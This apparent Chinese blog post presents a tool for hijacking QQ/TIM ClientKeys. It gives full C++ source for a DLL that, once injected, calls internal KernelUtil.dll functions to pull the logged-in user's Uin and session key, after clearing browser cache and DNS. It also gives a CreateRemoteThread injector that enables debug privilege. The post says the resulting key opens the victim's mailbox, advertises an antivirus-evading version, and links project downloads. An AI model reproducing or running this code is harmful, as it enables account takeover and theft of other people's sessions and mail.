劫持 QQ / TIM 最新版本客户端 ClientKeys

简介

        最新版本的 QQ 9.7.20  / TIM 3.4.8 已经不能模拟网页快捷登录来截取数据,然而我们也经过多种流量测试,绝大部分的地区、环境、机器、网吧等都针对这种获取方式做了相应的措施或封禁,导致被彻底的和谐。

        上篇文章《通过 KernelUtil 截取 QQ/TIM 客户端 Clientkey 详细教程》我们也详细说明过利用QQ客户端加载的 KernelUtil.dll 定位函数来截取 Uin 跟 Clientkey,但是该种方法最大的缺点就是会被各种各样的安全软件与防毒软件提示、警报或拦截。

 KernelUtil.dll 截取数据实现代码:

// dllmain.cpp : 定义 DLL 应用程序的入口点。
#include "stdafx.h"
 
 
 
using namespace std;
 
char szUin[MAX_PATH] = { 0 };
char szClientkey[MAX_PATH] = { 0 };
 
 
 
BOOL DelTempFiles();
 
BOOL GetQQClientKeys();
 
static DWORD WINAPI MainProcess(LPVOID pParam);
 
 
// 清理缓存
 
BOOL DelTempFiles()
{
	// 清理 DNS 缓存
	ShellExecute(NULL, "open", "ipconfig.exe", "/flushdns", NULL, SW_HIDE);
 
	BOOL bResult = FALSE;
	BOOL bDone = FALSE;
 
	LPINTERNET_CACHE_ENTRY_INFO lpCacheEntry = NULL;
 
	DWORD  dwTrySize, dwEntrySize = 4096; // start buffer size
	HANDLE hCacheDir = NULL;
	DWORD  dwError = ERROR_INSUFFICIENT_BUFFER;
 
	do
	{
		switch (dwError)
		{
			// need a bigger buffer
		case ERROR_INSUFFICIENT_BUFFER:
			delete[] lpCacheEntry;
			lpCacheEntry = (LPINTERNET_CACHE_ENTRY_INFO) new char[dwEntrySize];
			lpCacheEntry->dwStructSize = dwEntrySize;
			dwTrySize = dwEntrySize;
			BOOL bSuccess;
			if (hCacheDir == NULL)
				bSuccess = (hCacheDir
					= FindFirstUrlCacheEntry(NULL, lpCacheEntry,
						&dwTrySize)) != NULL;
			else
				bSuccess = FindNextUrlCacheEntry(hCacheDir, lpCacheEntry, &dwTrySize);
 
			if (bSuccess)
				dwError = ERROR_SUCCESS;
			else
			{
				dwError = GetLastError();
				dwEntrySize = dwTrySize; // use new size returned
			}
			break;
 
			// we are done
		case ERROR_NO_MORE_ITEMS:
			bDone = TRUE;
			bResult = TRUE;
			break;
 
			// we have got an entry
		case ERROR_SUCCESS:
			// don't delete cookie entry
			if (!(lpCacheEntry->CacheEntryType & COOKIE_CACHE_ENTRY))
				DeleteUrlCacheEntry(lpCacheEntry->lpszSourceUrlName);
 
			// get ready for next entry
			dwTrySize = dwEntrySize;
			if (FindNextUrlCacheEntry(hCacheDir, lpCacheEntry, &dwTrySize))
				dwError = ERROR_SUCCESS;
			else
			{
				dwError = GetLastError();
				dwEntrySize = dwTrySize; // use new size returned
			}
			break;
 
			// unknown error
		default:
			bDone = TRUE;
			break;
		}
 
		if (bDone)
		{
			delete[]lpCacheEntry;
			if (hCacheDir)
				FindCloseUrlCache(hCacheDir);
		}
	} while (!bDone);
 
	return TRUE;
}
 
 
 
BOOL GetQQClientKeys()
{
	// 清理缓存与DNS
	DelTempFiles();
 
	ZeroMemory(szUin, MAX_PATH);
	ZeroMemory(szClientkey, MAX_PATH);
 
	HMODULE hKernelUtil = GetModuleHandle("KernelUtil.dll");
	if (hKernelUtil == NULL)
	{
		OutputDebugStringA("Get KernelUtil Module failed \n");
		return FALSE;
	}
 
	ULONG fnGetSelfUin = (ULONG)GetProcAddress(GetModuleHandleA("KernelUtil"), "?GetSelfUin@Contact@Util@@YAKXZ");
	if (fnGetSelfUin == NULL)
	{
		OutputDebugStringA("Get GetSelfUin Function failed \n");
		return FALSE;
	}
 
	ULONG currentQQ = ((ULONG(__cdecl*)())fnGetSelfUin)();
	if (currentQQ == NULL)
	{
		OutputDebugStringA("Invoke GetSelfUin Function failed \n");
		return FALSE;
	}
 
	sprintf(szUin, "%u", currentQQ);
 
	PVOID GetSignature = GetProcAddress(hKernelUtil, "?GetSignature@Misc@Util@@YA?AVCTXStringW@@PBD@Z");
	if (GetSignature == NULL)
	{
		OutputDebugStringA("Get GetSignature Function failed \n");
		return FALSE;
	}
	
	PVOID res = ((PVOID(*)(PVOID, const char*))GetSignature)(&ClientKey, "buf32ByteValueAddedSignature");
	if (res == NULL)
	{
		OutputDebugStringA("Invoke GetSignature Function failed \n");
		return FALSE;
	}
 
	sprintf(szClientkey, "%ws", ClientKey);
 
	return TRUE;
}
 
 
 
BOOL APIENTRY DllMain( HMODULE hModule,
                       DWORD  ul_reason_for_call,
                       LPVOID lpReserved
					 )
{
	switch (ul_reason_for_call)
	{
	case DLL_PROCESS_ATTACH:
		HANDLE hThread1;
		hThread1 = CreateThread(NULL, 0, MainProcess, NULL, 0, NULL);
		break;
	case DLL_THREAD_ATTACH:
	case DLL_THREAD_DETACH:
	case DLL_PROCESS_DETACH:
		break;
	}
	return TRUE;
}
 
 
// 主线程模块
 
static DWORD WINAPI MainProcess(LPVOID pParam)
{
	if (GetQQClientKeys())
	{
		MessageBox(NULL, "获取数据成功。", "注意", NULL);
    }
	return 0;
}
// Main.cpp : 定义控制台应用程序的入口点。
//
 
#include "stdafx.h"
 
#ifdef _DEBUG
#define new DEBUG_NEW
#endif
 
 
 
BOOL AdjustPrivileges();
 
BOOL injectDLL(TCHAR* DLLName, DWORD ProcessID);
 
 
 
 
// 唯一的应用程序对象
 
CWinApp theApp;
 
using namespace std;
 
 
 
BOOL AdjustPrivileges()
{
	HANDLE hToken = NULL;
	TOKEN_PRIVILEGES tp = { 0 };
	TOKEN_PRIVILEGES oldtp = { 0 };
	DWORD dwSize = sizeof(TOKEN_PRIVILEGES);
	LUID luid = { 0 };
 
	if (!OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken)) {
		return FALSE;
	}
 
	if (!LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &luid)) {
		CloseHandle(hToken);
		return FALSE;
	}
 
	tp.PrivilegeCount = 1;
	tp.Privileges[0].Luid = luid;
	tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
 
	/* Adjust Token Privileges */
	if (!AdjustTokenPrivileges(hToken, FALSE, &tp, sizeof(TOKEN_PRIVILEGES), &oldtp, &dwSize)) {
		CloseHandle(hToken);
		return FALSE;
	}
 
	// close handles
	CloseHandle(hToken);
	return TRUE;
}
 
 
 
BOOL injectDLL(TCHAR* DLLName, DWORD ProcessID)
{
	if (AdjustPrivileges())
	{
		HANDLE hOprocess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, ProcessID);
		if (hOprocess != NULL)
		{
			_TCHAR* pLibFileRemote = (_TCHAR*)VirtualAllocEx(hOprocess, NULL, 2 * strlen(DLLName) + 1, MEM_COMMIT, PAGE_READWRITE);
			if (pLibFileRemote != NULL)
			{
				if (!WriteProcessMemory(hOprocess, (void*)pLibFileRemote, DLLName, 2 * strlen(DLLName) + 1, NULL))
					return FALSE;
 
				//Get LoadLibraryW Address
				PTHREAD_START_ROUTINE pfnStartAddr = (PTHREAD_START_ROUTINE)GetProcAddress(GetModuleHandle(_T("Kernel32")), "LoadLibraryA");
				if (pfnStartAddr != NULL)
				{
					HANDLE hRemote = CreateRemoteThread(hOprocess, NULL, 0, pfnStartAddr, (PVOID)pLibFileRemote, 0, NULL);
					if (hRemote != NULL)
					{
						CloseHandle(hRemote);
						CloseHandle(hOprocess);
 
						return TRUE;
					}
				}
			}
		}
		CloseHandle(hOprocess);
	}
	return FALSE;
}
 
 
 
int main()
{
	if (!injectDLL(“D:\\QQKey.dll”, 8888))
	{
		cout << "injectDLL To Target EXE Failed。\r\n" << endl;
	}
					
	system("pause");
 
    return 0;
}

        针对目前的情况我们只能再次寻求另外的途径来尝试突破封锁,下面我们将演示一种独特的方式来截取 Uin 跟 Clientkey,主要展示的是既不会被安全软件拦截也不会出现任何提示与警报

演示

 

        根据上图我们可以看出该种方法可以直接截取 64位 与 224位 Clientkey,并且某数字产品毫无提示或拦截。

返回的地址复制后在浏览器打开即可直达邮箱。 

为了防止和谐,详细代码与流程在这里暂不公布,有兴趣的话可以私信我。  

项目下载 

【csdn 下载】icon-default.png?t=N7T8https://download.youkuaiyun.com/download/qq_39190622/88653924

  
youkuaiyun.com (免积分下载)

【蓝奏云 下载】icon-default.png?t=N7T8https://wwrd.lanzoum.com/b04evqtej

蓝奏云(提取码:eh9v)  

【百度云 下载】icon-default.png?t=N7T8https://pan.baidu.com/s/12euHSTXxWl6XknlmpaKt0g

 百度云(提取码:wqau) 

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

Rainbow Technology

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值